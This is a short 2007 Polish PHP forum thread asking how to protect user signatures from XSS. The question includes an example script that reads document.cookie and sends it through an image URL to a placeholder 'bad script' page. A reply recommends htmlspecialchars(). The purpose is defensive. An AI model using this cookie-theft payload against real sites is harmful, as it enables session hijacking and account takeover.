Jak zabezpieczyć np. podpis na forum, przed atakami XSS Opcje

[TomASS]

Tak sobie myślę, że w większości for jest podpis użytkownika. Niektóre fora nie filtrują podpisów (np. mogę dać w podpisie obrazek itp.) a jakby tak dać:

[HTML] pobierz, plaintext 
<script type="text/javascript">
var adr = 'zly_skrypt.php?ciasteczka=' + escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr);
</SCRIPT>
[HTML] pobierz, plaintext 

To się chyba nazywa atak XSS.

Jak się przed tym zabezpieczyć, aby np. akceptował obrazki, odnośniki itp. a nie akceptował "złych skryptów"?

[marcini82]

A co jeśli zamiast '<script' będzie '< script'?

Przegladarka tego nie lyknie, sprawdz (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)

htmlspecialchars() tez jest w tym przypadku ok, bo wtedy '<script' po prostu sie wyswietli jak kazdy inny ciag.

Ten post edytował marcini82 11.07.2007, 06:48:32